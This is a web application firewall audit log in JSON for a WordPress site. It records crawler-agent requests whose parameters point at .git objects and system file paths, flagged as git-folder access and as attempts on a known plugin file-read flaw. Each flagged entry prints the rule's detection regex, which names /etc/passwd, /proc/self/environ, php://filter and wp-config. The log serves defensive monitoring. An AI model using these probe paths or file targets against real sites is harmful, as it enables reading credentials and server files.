{"transaction":{"time":"13/Mar/2026:02:23:15.115996 +0100","transaction_id":"abNnAn6c0W8rkQnlo8JRGwAAAc8","remote_address":"57.141.20.36","remote_port":53610,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/a9/5bb1e6f8506e95f2fcbad6479602923b4fd8aa HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.36","X-Forwarded-Proto":"https","X-Request-Id":"d16c19e47e59d898755ea846836bf4b4","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"16561094"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Upgrade":"h2,h2c","Connection":"Upgrade","Vary":"Accept-Encoding","X-Orig-Rid":"d16c19e47e59d898755ea846836bf4b4","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/harvest/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/a9/5bb1e6f8506e95f2fcbad6479602923b4fd8aa||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":436,"p2":7760,"p3":0,"p4":0,"p5":371,"sr":185,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:23:21.049228 +0100","transaction_id":"abNnCPGYjQkrq8Uo_EwT-wAAAJM","remote_address":"57.141.20.6","remote_port":43156,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/usr/share/locale/byn/LC_MESSAGES/iso_3166.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.6","X-Forwarded-Proto":"https","X-Request-Id":"a113ef7ec1eb54986e695eefa9ef536d","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"23044310"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"a113ef7ec1eb54986e695eefa9ef536d","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/byn/LC_MESSAGES/iso_3166.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":347,"p2":9313,"p3":0,"p4":0,"p5":361,"sr":164,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:23:43.955721 +0100","transaction_id":"abNnH6NDElJSaUY9M9GxeAAAAMM","remote_address":"57.141.20.27","remote_port":37008,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/powerpack-lite-for-elementor/powerpack-lite-for-elementor.2.9.7.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.27","X-Forwarded-Proto":"https","X-Request-Id":"34fac176846a66de45c9a2129cdd4c83","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"21795574"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"34fac176846a66de45c9a2129cdd4c83","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/powerpack-lite-for-elementor/powerpack-lite-for-elementor.2.9.7.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":305,"p2":6257,"p3":0,"p4":0,"p5":369,"sr":130,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:23:57.340997 +0100","transaction_id":"abNnLX6c0W8rkQnlo8JRrgAAAdU","remote_address":"57.141.20.12","remote_port":47286,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/usr/share/terminfo/m/mlterm%20pcfkeys HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.12","X-Forwarded-Proto":"https","X-Request-Id":"ec51caf545ef48c42db9a4fb526a7380","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"19668605"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"ec51caf545ef48c42db9a4fb526a7380","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/m/mlterm pcfkeys||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":190,"p2":5122,"p3":0,"p4":0,"p5":347,"sr":109,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:24:07.964282 +0100","transaction_id":"abNnN_GYjQkrq8Uo_EwUYgAAAI8","remote_address":"57.141.20.12","remote_port":52350,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?dir=/sftproot/htdocs/sivaco/.git/objects/70 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.12","X-Forwarded-Proto":"https","X-Request-Id":"862913436f4ada8b5e85b5ef3f877106","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"31949978"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"862913436f4ada8b5e85b5ef3f877106","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/agriculture-products/?dir=/sftproot/htdocs/sivaco/.git/objects/70||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":323,"p2":5749,"p3":0,"p4":0,"p5":368,"sr":130,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:24:09.919129 +0100","transaction_id":"abNnOX6c0W8rkQnlo8JR2AAAAcI","remote_address":"57.141.20.18","remote_port":55750,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/terminfo/t/tvi912c-vb-mc HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.18","X-Forwarded-Proto":"https","X-Request-Id":"ef0d05b1794842d388d399f80287f3ad","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"19668647"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"ef0d05b1794842d388d399f80287f3ad","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/t/tvi912c-vb-mc||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":188,"p2":3949,"p3":0,"p4":0,"p5":274,"sr":102,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:24:14.384319 +0100","transaction_id":"abNnPqNDElJSaUY9M9GxqwAAAMc","remote_address":"57.141.20.49","remote_port":47192,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/a7/e1f09a64c0ec39374036355b834bb1b1df9cf3 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.49","X-Forwarded-Proto":"https","X-Request-Id":"c2330f3d26ea5413ac90fad01d20dc13","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"25236552"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"c2330f3d26ea5413ac90fad01d20dc13","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/a7/e1f09a64c0ec39374036355b834bb1b1df9cf3||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":278,"p2":6876,"p3":0,"p4":0,"p5":397,"sr":140,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:24:20.767670 +0100","transaction_id":"abNnRPGYjQkrq8Uo_EwUgwAAAJE","remote_address":"57.141.20.48","remote_port":47880,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/share/zoneinfo/America/Tegucigalpa HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.48","X-Forwarded-Proto":"https","X-Request-Id":"d5fc664b5f19dc34f220a4bfe0ebda85","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"27795684"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"d5fc664b5f19dc34f220a4bfe0ebda85","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/zoneinfo/America/Tegucigalpa||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":266,"p2":5331,"p3":0,"p4":0,"p5":329,"sr":130,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:24:29.662951 +0100","transaction_id":"abNnTPGByT275eeM2ZlHjAAAAQo","remote_address":"57.141.20.41","remote_port":53604,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/lib/locale/ku_TR.utf8/LC_COLLATE HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.41","X-Forwarded-Proto":"https","X-Request-Id":"fedf710976b18412d5b22e5071a38544","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"31228761"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"fedf710976b18412d5b22e5071a38544","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/lib/locale/ku_TR.utf8/LC_COLLATE||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":279,"p2":7656,"p3":0,"p4":0,"p5":389,"sr":153,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:24:29.772713 +0100","transaction_id":"abNnTaNDElJSaUY9M9GxwgAAAMM","remote_address":"57.141.20.51","remote_port":37008,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/22/824e97fdeb7835bea29bf54e905cab5714ad55 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.51","X-Forwarded-Proto":"https","X-Request-Id":"98760e5cdec994883e5a7e8caac9c359","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"27795696"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"98760e5cdec994883e5a7e8caac9c359","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/22/824e97fdeb7835bea29bf54e905cab5714ad55||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":282,"p2":6976,"p3":0,"p4":0,"p5":396,"sr":154,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:24:51.677876 +0100","transaction_id":"abNnYqNDElJSaUY9M9GyAgAAAMc","remote_address":"57.141.20.59","remote_port":47192,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/usr/share/ghostscript/10.05.1/lib/Stc777p.upp HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.59","X-Forwarded-Proto":"https","X-Request-Id":"32ba9460c574ef4e67838ed98c4db371","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"20656776"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"32ba9460c574ef4e67838ed98c4db371","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/ghostscript/10.05.1/lib/Stc777p.upp||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":330,"p2":6655,"p3":0,"p4":0,"p5":345,"sr":119,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:25:01.087056 +0100","transaction_id":"abNna6NDElJSaUY9M9GyKQAAAMg","remote_address":"57.141.20.46","remote_port":50992,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/usr/share/locale/tt/LC_MESSAGES/iso_639.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.46","X-Forwarded-Proto":"https","X-Request-Id":"1cbbf430643e7c127f9759d65e1a3d5f","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11547317"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Upgrade":"h2,h2c","Connection":"Upgrade","Vary":"Accept-Encoding","X-Orig-Rid":"1cbbf430643e7c127f9759d65e1a3d5f","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/tt/LC_MESSAGES/iso_639.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":279,"p2":5493,"p3":0,"p4":0,"p5":769,"sr":159,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
